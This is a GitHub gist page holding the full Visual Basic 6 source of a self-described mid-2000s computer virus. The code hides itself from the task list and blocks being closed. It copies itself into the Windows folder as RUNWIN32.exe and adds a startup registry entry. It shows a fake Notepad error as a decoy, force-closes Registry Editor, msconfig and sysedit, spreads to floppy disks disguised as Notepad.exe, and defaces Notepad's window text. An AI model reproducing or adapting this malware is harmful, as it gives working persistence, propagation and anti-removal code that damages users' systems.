Skip to content

Instantly share code, notes, and snippets.

@six519
Created June 18, 2026 10:16
Show Gist options
  • Select an option

  • Save six519/2d3dcc1b6fa35001dc614ecc438bda4e to your computer and use it in GitHub Desktop.

Select an option

Save six519/2d3dcc1b6fa35001dc614ecc438bda4e to your computer and use it in GitHub Desktop.
Just A Simple Computer Virus From The Mid-2000s Era
VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 1215
ClientLeft = 60
ClientTop = 345
ClientWidth = 2490
Icon = "Form1.frx":0000
LinkTopic = "Form1"
ScaleHeight = 1215
ScaleWidth = 2490
StartUpPosition = 3 'Windows Default
Begin VB.Timer Timer3
Interval = 200
Left = 1440
Top = 480
End
Begin VB.Timer Timer2
Enabled = 0 'False
Interval = 300
Left = 840
Top = 480
End
Begin VB.Timer Timer1
Interval = 1
Left = 240
Top = 480
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim lNotepadHwnd As Long
Dim lNotepadEdit As Long
Dim CopyToExplore As Long
Dim CopyToFloppy As Long
Dim Pogi As String
Dim UpperPogi As String
Dim DisableS As Long
Dim DisableR As Long
Dim DisableM As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SendMessageSTRING Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Private Declare Function SendMessageLONG Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Const WM_CLOSE = &H10
Const WM_GETTEXT = &HD
Const WM_SETTEXT = &HC
Const EM_GETLINECOUNT = &HBA
'the next code is used to infect the system
Private Sub Form_Load()
On Error GoTo infect
'hide the virii to tasklist
App.TaskVisible = False
Pogi = App.EXEName
UpperPogi = UCase(Pogi)
Me.Hide
If UpperPogi = "RUNWIN32" Or UpperPogi = "runwin32" Then
Timer2.Enabled = True
Else
Open "c:\windows\RUNWIN32.exe" _
For Input As #1
Close #1
MsgBox "Cannot open Notepad.exe!", vbExclamation, "Notepad"
End
End If
Exit Sub
infect:
InfectSystem
End Sub
'the next code are for the disabling of some application like regedit
Private Sub DisableRegedit()
'to disable the regedit
DisableR = FindWindow(vbNullString, "Registry Editor")
If DisableR <> 0 Then
PostMessage DisableR, WM_CLOSE, 0&, 0&
Else
End If
End Sub
Private Sub DisableMsconfig()
'to disable the msconfig
DisableM = FindWindow(vbNullString, "System Configuration Utility")
If DisableM <> 0 Then
PostMessage DisableM, WM_CLOSE, 0&, 0&
Else
End If
End Sub
Private Sub DisableSysedit()
'to disable the sysedit
DisableS = FindWindow(vbNullString, "System Configuration Editor")
If DisableS <> 0 Then
PostMessage DisableS, WM_CLOSE, 0&, 0&
Else
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
'this is use so they cannot close your virus using alt f4
Cancel = 1
End Sub
'this is the timer for disabling applications
Private Sub Timer1_Timer()
On Error Resume Next
MakeMeService
DisableRegedit
DisableMsconfig
DisableSysedit
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
CopyToFloppy = FindWindow(vbNullString, "3� Floppy (A:)")
CopyToExplore = FindWindow(vbNullString, "Exploring - 3� Floppy (A:)")
If CopyToFloppy <> 0 Or CopyToExplore <> 0 Then
'copying of virus to floppy code here
CopyVirus
Else
End If
End Sub
Private Sub InfectSystem()
On Error GoTo fs
FileCopy App.Path + "\" + App.EXEName + ".exe", "c:\windows\RUNWIN32.exe"
'registry code here
Registery.DoStartUp "C:\WINDOWS\RUNWIN32.exe", "RUNWIN32"
Shell "c:\windows\RUNWIN32.exe"
End
Exit Sub
fs:
FileCopy App.Path + App.EXEName + ".exe", "c:\windows\RUNWIN32.exe"
'registry code here
Registery.DoStartUp "C:\WINDOWS\RUNWIN32.exe", "RUNWIN32"
Shell "c:\windows\RUNWIN32.exe"
End
End Sub
Private Sub CopyVirus()
On Error GoTo kopya
Open "a:\Notepad.exe" _
For Input As #1
Close #1
Exit Sub
kopya:
FileCopy App.Path + "\" + App.EXEName _
+ ".exe", "a:\Notepad.exe"
End Sub
Private Sub Timer3_Timer()
On Error Resume Next
lNotepadHwnd = FindWindow("Notepad", vbNullString)
lNotepadEdit = FindWindowEx(lNotepadHwnd, 0&, "Edit", vbNullString)
SendMessageSTRING lNotepadHwnd, WM_SETTEXT, 256, "Notepad ng ina ninyo!"
SendMessageSTRING lNotepadEdit, WM_SETTEXT, 256, "Magandang Araw!Mabuhay Lipa! by Utoy"
End Sub
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment